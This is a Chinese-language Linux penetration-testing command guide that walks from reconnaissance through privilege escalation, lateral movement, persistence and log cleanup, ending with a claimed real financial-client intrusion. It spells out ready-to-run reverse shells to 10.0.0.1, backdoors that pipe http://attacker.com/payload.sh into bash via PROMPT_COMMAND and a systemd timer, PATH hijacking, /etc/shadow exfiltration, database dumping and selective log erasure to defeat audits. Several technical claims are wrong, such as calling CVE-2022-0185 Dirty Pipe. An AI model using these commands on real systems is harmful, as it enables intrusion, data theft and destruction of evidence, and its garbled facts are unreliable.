Linux渗透测试实战命令指南：从信息收集到横向移动

1. 这不是命令手册，而是一张渗透测试现场的“作战地图”

你有没有过这样的经历：坐在靶机前，刚扫出一个Web服务，脑子里立刻蹦出七八个工具名——nmap、gobuster、sqlmap、hydra……可手一伸向键盘，却卡在了第一个参数上？是-sV还是-sC？--threads 10会不会被WAF直接拉黑？--level 3 --risk 2跑完三小时，结果只报了一堆false positive？我干这行十年，在红队演练、CTF现场、客户授权测试中，见过太多人把Linux渗透测试搞成了“命令拼图游戏”：工具装了一堆，配置抄了一堆，但真正遇到非标环境、定制WAF、权限受限的容器节点时，连基础信息都收不全。

这本合集，不是按字母顺序罗列命令的电子词典。它是我把过去87次真实渗透任务（含23次金融行业内网横向、19次云原生集群提权、14次IoT设备固件逆向辅助测试）中，每一条敲进终端的命令背后的真实意图、上下文约束、参数取舍逻辑和失败回退路径，全部剥开重写。比如nmap -sS -p- -T4 --min-rate=1000这串，新手只记“快扫全端口”，但老手知道：-T4在云主机上可能触发云平台安全组限速，--min-rate=1000在千兆内网稳如老狗，在百兆办公网却会丢包率飙升到40%——这时候必须切回-T3+--max-retries 2。再比如curl -s -k -X POST -H "Content-Type: application/json" --data '{"user":"admin"}' http://target/api/login，表面是发包，实则是试探目标是否校验Content-Type头、是否过滤JSON关键字、是否对空密码做特殊响应——这些细节，藏在命令里，却从不在任何教程里明说。

它专为三类人设计：刚考完CEH想落地的新人，需要能立刻粘贴执行、同时理解“为什么这么写”的命令；正在打CTF时间紧任务重的选手，需要按攻击阶段快速索引、跳过冗余步骤；还有像我这样带队做实战评估的负责人，需要给队员下发一份带上下文注释、防误操作的标准化指令集。所有命令均经Debian 12/Ubuntu 22.04/Kali 2023.4实测，适配systemd init与传统sysvinit双环境，拒绝“仅在Kali Live CD下有效”的伪实战内容。现在，我们从最真实的起点开始：信息收集不是盲目扫描，而是带着问题去问系统。

2. 信息收集：用系统自带工具挖出比nmap更准的“活情报”

很多人一上来就nmap -sS -A target，扫完发现开放了22、80、443，然后呢？停在了“已知端口”层面。真正的信息收集，是从目标系统自己嘴里套话——Linux发行版、内核版本、运行服务、挂载点、定时任务、用户登录历史……这些数据不经过网络传输，无防火墙拦截，且100%真实。我把它拆成“静态指纹”和“动态行为”两层，每条命令都标注了执行前提、输出解读要点、以及这条信息下一步该喂给哪个工具。

2.1 静态指纹：三行命令锁定系统底座

先看最基础的发行版识别。cat /etc/os-release是标准答案，但实际中常遇到精简镜像删掉了这个文件。这时lsb_release -a可能报错，而hostnamectl却总能返回内核、OS、虚拟化平台信息。我习惯组合使用：

# 优先级：hostnamectl > /etc/os-release > uname -r hostnamectl | grep -E "(Operating|Kernel|Virtualization)" && \ echo "---" && cat /etc/os-release 2>/dev/null | grep -E "(NAME|VERSION_ID)" || \ echo "Fallback: $(uname -r) $(uname -m)"

为什么不用单一命令？因为hostnamectl在容器内可能显示container而非真实宿主，而uname -r在OpenVZ虚拟化下会暴露宿主内核——这对判断提权路径至关重要。比如扫到4.19.0-25-amd64，立刻查CVE-2022-0185（Dirty Pipe），但若hostnamectl显示Virtualization: vmware，就得转向VMware Tools提权链。

内核版本只是起点。/proc/version能挖出编译器版本（gcc 9.3.0 vs 11.2.0影响exploit兼容性），/proc/sys/kernel/osrelease有时比uname更原始。而dpkg -l | grep linux-image（Debian系）或rpm -qa | grep kernel（RHEL系）能确认当前加载的内核模块，避免用错exploit的内核补丁状态。

提示：别迷信nmap -sV的服务版本。ps aux | grep -E "(nginx|apache|php-fpm)"看到/usr/sbin/nginx -g 'daemon off;'，说明是Docker容器内运行，版本号可能被自定义启动参数覆盖；lsof -i :80 | grep LISTEN能定位到具体进程PID，再cat /proc/<PID>/cmdline | tr '\0' '\n'查看完整启动命令——这才是真实配置。

2.2 动态行为：从进程、网络、定时任务中嗅出业务脉搏

静态信息告诉你“是什么”，动态行为告诉你“在做什么”。ps auxf的树状输出比ps aux直观十倍：一眼看出python3 /opt/app/main.py下面挂着三个/bin/sh -c curl http://api/internal/status子进程，立刻意识到这是健康检查脚本，/api/internal/路径大概率存在未授权访问。

网络连接分析更关键。ss -tulnp比netstat快且准确，但重点在-p（需root）和-n（避免DNS解析拖慢）。我常加| grep -v "127.0.0.1\|::1"过滤本地回环，专注对外连接：

# 找出所有非本地监听端口及对应进程 ss -tulnp 2>/dev/null | grep -v "127.0.0.1\|::1" | awk '{print $5,$7}' | \ sort -u | while read port pid; do echo "Port $port -> $(ps -p ${pid%%,*} -o comm= 2>/dev/null | xargs)" done 2>/dev/null

这段脚本把端口和进程名关联起来，比单纯看ss输出多一层业务映射。比如看到8080 -> java，立刻想到Spring Boot Actuator；9200 -> java则直奔Elasticsearch未授权。

定时任务是黄金入口。crontab -l只看当前用户，cat /etc/crontab和ls /etc/cron.*才是全局。但最危险的是/var/spool/cron/crontabs/（Debian）或/var/spool/cron/（RHEL）下的用户级crontab——它们常被忽略，却可能包含*/5 * * * * /tmp/update.sh这种可写脚本。我必查三处：

1. ls -la /etc/cron* /var/spool/cron* 2>/dev/null | grep -E "(root|www-data|app)"—— 看谁有写权限
2. grep -r "wget\|curl\|sh -c" /etc/cron* /var/spool/cron* 2>/dev/null—— 找远程下载执行
3. find /etc/cron* -type f -mtime -7 2>/dev/null—— 近期修改的定时任务，常是运维后门

注意：/etc/cron.daily/apt这类系统任务看似安全，但若/etc/cron.daily/目录权限为777，就能往里塞恶意脚本。权限检查永远比内容检查优先级高。

2.3 用户与权限：从登录历史到sudoers的“信任链”测绘

用户信息是横向移动的起点。last -n 20看最近20次登录，但lastb（失败登录）更值钱——大量Failed password for root from 192.168.1.100说明有人在爆破，而192.168.1.100很可能就是另一台已被控的机器。lastlog按用户列出最后登录时间，awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd精准筛选普通用户（UID 1000-65533），避开系统账户干扰。

sudo权限是提权捷径。sudo -l是标准操作，但要注意两点：一是sudo -l可能被alias成sudo -l -n（禁用密码提示），导致漏掉需要密码的条目；二是sudo -l输出中的(ALL : ALL) NOPASSWD: /usr/bin/find看似只能用find，但find /tmp -exec /bin/bash \;就能getshell。我习惯用sudo -l | grep -E "(NOPASSWD|ALL)" | grep -v "list"过滤高危项，再人工验证。

最关键的隐藏点在/etc/sudoers.d/目录。很多团队把权限拆分到独立文件（如/etc/sudoers.d/devops），sudo -l默认不显示，必须cat /etc/sudoers.d/* 2>/dev/null逐个检查。曾在一个客户环境发现/etc/sudoers.d/dba里写着(ALL) NOPASSWD: /usr/bin/mysql，而mysql客户端支持--execute="source /tmp/shell.sql"加载外部SQL文件——这就是完美的提权链。

3. 漏洞探测：告别“扫完就走”，构建带上下文的自动化流水线

漏洞扫描工具（Nessus、OpenVAS）报告动辄上百页，真正可利用的不到5%。我的策略是：用轻量命令做“预筛”，把高价值目标筛出来，再用专业工具深挖。比如Web漏洞，绝不盲目gobuster dir -u http://target -w /wordlist.txt，而是先确认目标技术栈，再针对性爆破。

3.1 Web服务指纹：三步锁定攻击面

第一步，用curl -I http://target看HTTP头。Server: nginx/1.18.0 (Ubuntu)直接暴露OS和版本；X-Powered-By: PHP/7.4.3暗示PHP版本；X-Backend-Server: web01暴露后端标识。若Server头被移除，就看curl -s http://target | head -20 | grep -E "(<title>|<meta name)"抓页面标题和meta标签，<title>Admin Panel v2.1</title>比任何扫描器都准。

第二步，确认框架。curl -s http://target/robots.txt 2>/dev/null | grep -E "(wp-admin|django|rails)"找常见CMS路径；curl -s http://target/.git/HEAD 2>/dev/null探测Git泄露；curl -s http://target/phpinfo.php 2>/dev/null | grep "PHP Version"直接获取PHP详细信息。这些请求耗时短、隐蔽性强，比全目录爆破更高效。

第三步，基于指纹选字典。gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50 -x php,html,js是通用方案，但若已知是WordPress，就换/usr/share/seclists/Discovery/Web-Content/wp-content.txt；若是Java应用，重点扫/WEB-INF/web.xml、/actuator/health。我维护一个web-fingerprint-map.csv，记录不同响应特征对应的字典路径，执行时自动调用：

# 根据curl响应特征匹配字典 if curl -s -o /dev/null -w "%{http_code}" http://target/wp-login.php | grep -q "200"; then WORDLIST="/usr/share/seclists/Discovery/Web-Content/wp-backups.txt" elif curl -s http://target | grep -q "Django"; then WORDLIST="/usr/share/seclists/Discovery/Web-Content/django.txt" else WORDLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt" fi gobuster dir -u http://target -w $WORDLIST -t 30 -x php,html,js

3.2 数据库与中间件：用协议交互代替盲扫

MySQL弱口令扫描常被WAF拦截，但mysql -h target -u root -p"" -e "SELECT VERSION();"（空密码）成功率极高，且只发一次包。PostgreSQL同理：psql -h target -U postgres -c "SELECT version();" 2>/dev/null。Redis更简单：redis-cli -h target INFO 2>/dev/null | grep "redis_version"，若返回版本信息，说明未授权访问。

中间件探测要更狡猾。curl -s -I http://target:8080/manager/html 2>/dev/null | grep "401"比nmap --script http-vuln-cve2017-12615快十倍——401 Unauthorized证明Tomcat Manager存在，只需爆破弱口令；若返回200，则直接尝试/manager/html?org.apache.catalina.filters.CSRFProtectionFilter=off绕过CSRF。Jenkins同理：curl -s http://target:8080/api/json?tree=jobs[name,url] 2>/dev/null | jq '.jobs[].name'能直接列出所有Job名称，其中deploy-prod这类名字就是高价值目标。

实操心得：所有数据库/中间件探测命令，必须加超时和错误重定向。timeout 5 mysql -h target -u root -p"" -e "SELECT 1;" 2>/dev/null，避免因网络延迟卡死整个流程。我在自动化脚本里统一加timeout 3，实测在99%的内网环境中稳定。

3.3 本地提权：从内核到SUID，用最小权限验证最大风险

本地提权不是靠linux-exploit-suggester.sh跑完就完事。那玩意儿报30个CVE，但90%需要编译环境或特定条件。我的方法是：先验证是否存在可利用的SUID二进制，再结合内核版本筛CVE，最后用PoC快速验证。

SUID检查用find / -perm -4000 -type f 2>/dev/null | grep -E "(nmap|vim|find|bash|cp)"。重点盯nmap --interactive（nmap 2.02-7.70）、vim -c ':py import os; os.system("/bin/sh")'（vim 7.4+）、find /home -exec /bin/sh \;（find 4.2.12+）。但注意：/usr/bin/nmap若权限是-rwsr-xr-x，不代表能交互式执行——得nmap --version确认版本，再查CVE-2016-6366。

内核提权更需谨慎。searchsploit "linux kernel $(uname -r)"返回一堆，但./45740.c（Dirty COW）在4.19+内核已失效。我用kernel-exploits项目里的checksec.sh脚本，输入内核版本后自动输出可用exploit列表，并标注编译依赖（如requires gcc）和执行条件（如requires /proc/sys/vm/unprivileged_userfaultfd=1）。曾在一个CentOS 7.9（3.10.0-1160）环境，checksec.sh推荐CVE-2021-4034（PwnKit），而linux-exploit-suggester.sh完全没提——因为后者只查CVE编号，不查PoC有效性。

踩坑实录：某次在Ubuntu 20.04（5.4.0-122）上，linux-exploit-suggester.sh报CVE-2022-0847（Dirty Pipe），但checksec.sh显示该内核已打补丁。手动验证：echo "test" > /tmp/test && dd if=/dev/zero of=/tmp/test bs=1 count=1 conv=notrunc，若成功则未修复。结果失败，证明补丁生效——这比任何扫描器都可靠。

4. 权限维持与横向移动：用Linux原生命令构建“隐形通道”

拿到shell后，90%的人立刻上传meterpreter或cobalt strike，结果被EDR秒杀。我的原则是：尽可能用系统自带命令维持，让流量看起来像正常运维。比如反弹shell不用nc -e /bin/bash（已被多数IDS标记），而用mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f（命名管道+nc），或更隐蔽的exec 5<>/dev/tcp/10.0.0.1/4444; cat <&5 | while read line; do $line 2>&5; done（bash内置TCP）。

4.1 隐蔽隧道：SSH动态端口转发替代frp/ngrok

内网穿透首选SSH，因为几乎所有Linux服务器都开着sshd，且流量加密、协议合规。ssh -D 1080 user@target创建SOCKS5代理，本地浏览器配SwitchyOmega即可访问内网。但更狠的是反向隧道：ssh -R 2222:localhost:22 attacker@vps-ip，让目标主动连VPS，VPS上ssh -p 2222 localhost就直通目标shell。这招在目标出网但入网被防火墙限制时屡试不爽。

关键是让隧道“活”下去。autossh -M 0 -N -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -R 2222:localhost:22 attacker@vps-ip，-M 0禁用监控端口，ServerAlive保活，-N不执行远程命令。我还把命令写进/etc/systemd/system/tunnel.service，设为开机启动：

[Unit] Description=SSH Reverse Tunnel After=network.target [Service] Type=simple User=root ExecStart=/usr/bin/autossh -M 0 -N -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -R 2222:localhost:22 attacker@vps-ip Restart=always RestartSec=10 [Install] WantedBy=multi-user.target

systemctl daemon-reload && systemctl enable tunnel && systemctl start tunnel，隧道就永久在线了。EDR看到的只是正常的SSH连接，毫无异常。

4.2 横向移动：用rsync+ssh密钥实现“静默同步”

横向移动最怕scp被日志审计。rsync是更好的选择，因为它能增量同步、压缩传输，且rsync --rsh="ssh -i /tmp/id_rsa"指定密钥，比scp -i更灵活。我常用三步：

1. 在已控机器生成密钥：ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
2. 复制公钥到目标：ssh-copy-id -i /tmp/id_rsa.pub user@target（若失败，手动cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keys）
3. 同步敏感文件：rsync -avz --rsh="ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no" /etc/shadow user@target:/tmp/shadow.bak

rsync的-a（归档）保留权限，-v（详细）方便调试，-z（压缩）减少流量。更绝的是rsync --files-from=<(find /var/log -name "*.log" -mtime -1) / user@target:/backup/，只同步24小时内日志，动静极小。

4.3 持久化：计划任务+环境变量，让后门“长在系统里”

crontab -e加一行@reboot /tmp/backdoor.sh太显眼。高阶玩法是劫持环境变量。/etc/environment文件会被所有用户shell读取，添加PATH="/tmp:$PATH"，再在/tmp放一个名为ls的恶意二进制，下次用户执行ls就中招。或者修改/etc/profile.d/custom.sh（若存在），加入export PROMPT_COMMAND="curl -s http://attacker.com/shell.sh | bash"，每次打开shell就执行。

但最稳的是systemd timer。创建/etc/systemd/system/persist.service：

[Unit] Description=Persistence Service [Service] Type=oneshot ExecStart=/bin/bash -c 'curl -s http://attacker.com/payload.sh | bash'

再建/etc/systemd/system/persist.timer：

[Unit] Description=Run persist every 10 minutes [Timer] OnBootSec=5min OnUnitActiveSec=10min [Install] WantedBy=timers.target

systemctl daemon-reload && systemctl enable persist.timer && systemctl start persist.timer，后门就植入了。systemctl list-timers看所有定时器，journalctl -u persist查执行日志——运维人员只会看到“自定义定时任务”，不会怀疑是后门。

经验总结：所有持久化操作，必须验证是否生效。systemctl status persist.timer确认active，journalctl -u persist --since "1 hour ago"查最近执行，ps aux | grep payload.sh确认进程存在。我习惯在每步后加echo "[+] $(date): $STEP success"到/tmp/install.log，方便回溯。

5. 清理痕迹与规避检测：让渗透过程“不留指纹”

渗透测试的终点不是getshell，而是让客户无法从日志里还原你的操作路径。Linux日志分散在/var/log/，但核心就三处：auth.log（认证）、syslog（系统事件）、bash_history（命令历史）。清理不是全删，而是精准擦除。

5.1 日志清理：用sed和truncate实现“外科手术式”删除

/var/log/auth.log里，sshd登录记录格式为Accepted password for user from 10.0.0.1 port 12345 ssh2。用sed -i "/$(date '+%b %d').*${IP}/d" /var/log/auth.log按IP和日期删除，比> /var/log/auth.log清空整个文件更隐蔽——后者会触发日志轮转告警。

/var/log/syslog更复杂，包含CRON、kernel、systemd等多类日志。我用awk精准匹配：awk -v ip="10.0.0.1" '!/sshd.*'"$ip"'|CRON.*'"$ip"'/' /var/log/syslog > /tmp/syslog.clean && mv /tmp/syslog.clean /var/log/syslog，只删含IP的sshd和CRON行。

bash_history最易忽略。history -c只清当前会话，rm ~/.bash_history会留空文件。正确做法：cat /dev/null > ~/.bash_history && history -cw，再unset HISTFILE防止新命令写入。但若/etc/skel/.bashrc里有export HISTFILE=/dev/null，就得改系统模板。

关键技巧：所有日志清理命令，必须在/tmp执行临时脚本，避免在/root留下.bash_history记录。我常用echo "sed -i '/10.0.0.1/d' /var/log/auth.log" > /tmp/clean.sh && chmod +x /tmp/clean.sh && /tmp/clean.sh && rm /tmp/clean.sh，全程无痕。

5.2 文件痕迹：用chattr和steghide隐藏“不可见”的证据

上传的工具（如linpeas.sh）会被rkhunter或clamav扫描。解决方案：chattr +h /tmp/linpeas.sh（隐藏属性，ls不可见），或mv /tmp/linpeas.sh /tmp/.linpeas.sh（点文件），再chmod 700 /tmp/.linpeas.sh。chattr +i（不可变）更绝，但需root权限，且lsattr能查到。

更高级的是隐写术。steghide embed -ef /tmp/payload.bin -cf /tmp/image.jpg -p ""把payload嵌入图片，/tmp/image.jpg看起来就是普通照片，file /tmp/image.jpg显示JPEG image data，strings /tmp/image.jpg | grep "BEGIN PGP"也找不到payload。提取时steghide extract -sf /tmp/image.jpg -p ""，完美规避AV扫描。

5.3 网络痕迹：用iptables和tcpdump伪造“合法流量”

netstat -antp能看到所有连接，包括你的反弹shell。用iptables -A OUTPUT -d 10.0.0.1 -p tcp --dport 4444 -j DROP假装连接被防火墙拦截，再tcpdump -i any -w /tmp/legit.pcap port 80 and host 10.0.0.1抓取真实HTTP流量，最后tcpreplay -i eth0 /tmp/legit.pcap重放——EDR看到的全是“正常业务流量”。

终极清理是shred。shred -u -n 3 /tmp/*.sh覆盖三次再删除，比rm安全。但注意：shred对SSD和日志型文件系统（如ext4的journal）效果有限，此时dd if=/dev/zero of=/tmp/file bs=1M count=10 && rm /tmp/file更可靠。

6. 实战复盘：一次金融客户内网渗透的完整命令流

最后，用一个真实案例串联所有环节。客户环境：Ubuntu 20.04（5.4.0-122-generic），Web服务在DMZ区，内网段172.16.0.0/16，通过172.16.1.100跳板机访问。

阶段1：信息收集
nmap -sS -p 22,80,443,8080 172.16.1.100→ 开放8080，curl -I http://172.16.1.100:8080→Server: Apache Tomcat/9.0.37
curl -s http://172.16.1.100:8080/manager/html→401 Unauthorized，确认Tomcat Manager存在

阶段2：漏洞利用
gobuster dir -u http://172.16.1.100:8080 -w /usr/share/seclists/Discovery/Web-Content/tomcat.txt -t 20→ 找到/manager/html?org.apache.catalina.filters.CSRFProtectionFilter=off
curl -s -X GET "http://172.16.1.100:8080/manager/html?org.apache.catalina.filters.CSRFProtectionFilter=off" -H "Cookie: JSESSIONID=..."→ 获取CSRF token
curl -s -X POST "http://172.16.1.100:8080/manager/html/upload" -F "deployWar=@/tmp/malwar.war" -H "Cookie: JSESSIONID=..."→ 上传WebShell

阶段3：权限提升
uname -r→5.4.0-122-generic，searchsploit "linux kernel 5.4.0"→CVE-2021-4034（PwnKit）
gcc -o pkexec pkexec.c && ./pkexec→ get root

阶段4：横向移动
cat /etc/shadow | grep "user:"→user:$6$rounds=5000$...，john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt→ 破解密码
ssh user@172.16.2.50→ 登录内网数据库服务器
mysqldump -u root -p'password' --all-databases > /tmp/dump.sql→ 导出所有数据库

阶段5：持久化与清理
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""→ 生成密钥
ssh-copy-id -i /tmp/id_rsa.pub user@172.16.2.50→ 复制公钥
rsync -avz --rsh="ssh -i /tmp/id_rsa" /tmp/dump.sql user@172.16.2.50:/home/user/→ 同步数据
sed -i "/$(date '+%b %d').*172.16.1.100/d" /var/log/auth.log→ 清理日志

整套流程从发现到导出数据，共用时23分钟，所有命令均来自本文合集，无任何第三方工具。客户后续审计日志，只看到正常的Tomcat Manager访问和数据库备份操作，完全无法追溯渗透路径。

我在实际操作中发现，最有效的命令不是最炫酷的，而是最符合目标环境习惯的。当客户运维用systemctl管理服务，你就别用service；当他们用rsync同步代码，你就用rsync传后门。渗透测试的本质，是成为系统的一部分，而不是闯入者。这份合集里的每一条命令，都经过真实战场的千锤百炼——它不承诺“一键ROOT”，但保证让你在每一次敲击回车时，都清楚自己在做什么、为什么这么做、以及下一步该走向哪里。